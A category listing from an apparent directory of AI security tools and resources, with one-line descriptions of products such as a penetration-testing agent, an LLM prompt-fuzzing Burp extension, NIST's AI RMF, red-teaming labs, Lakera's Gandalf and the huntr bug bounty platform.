Category

Vulnetic AI is a high-performance hacking agent built for serious penetration testing at a fraction of typical costs.

Practical measures for enterprises to secure AI and LLM technology adoption, reducing security risks with pragmatic advice.

Bugcrowd introduces AI Penetration Testing to uncover vulnerabilities in AI systems, including LLM applications, using vetted pentesters.

Burp extension to fuzz GenAI/LLM prompts for behavioral and prompt injection vulnerabilities, aiding security assessments.

NIST's AI Risk Management Framework (AI RMF) is a voluntary framework for managing risks associated with artificial intelligence.

AI Red Teaming Playground Labs: Challenges for AI red teaming training, covering adversarial ML and Responsible AI failures.

Aikido is a security platform for code and cloud, designed to automatically find and fix vulnerabilities in one central system.

Cygeniq secures AI systems across their lifecycle with Hexashield AI, GRCortex AI, and CyberTiX AI.

AI-native SAST tool for code security, detecting vulnerabilities, secrets, IaC issues, and AI model security with actionable AI fixes.

Gandalf is a prompting skills test by Lakera that challenges users to extract secret information from a large language model.

huntr is a bug bounty platform for AI and machine learning. It allows red teams to find and disclose vulnerabilities in open-source models and AI systems.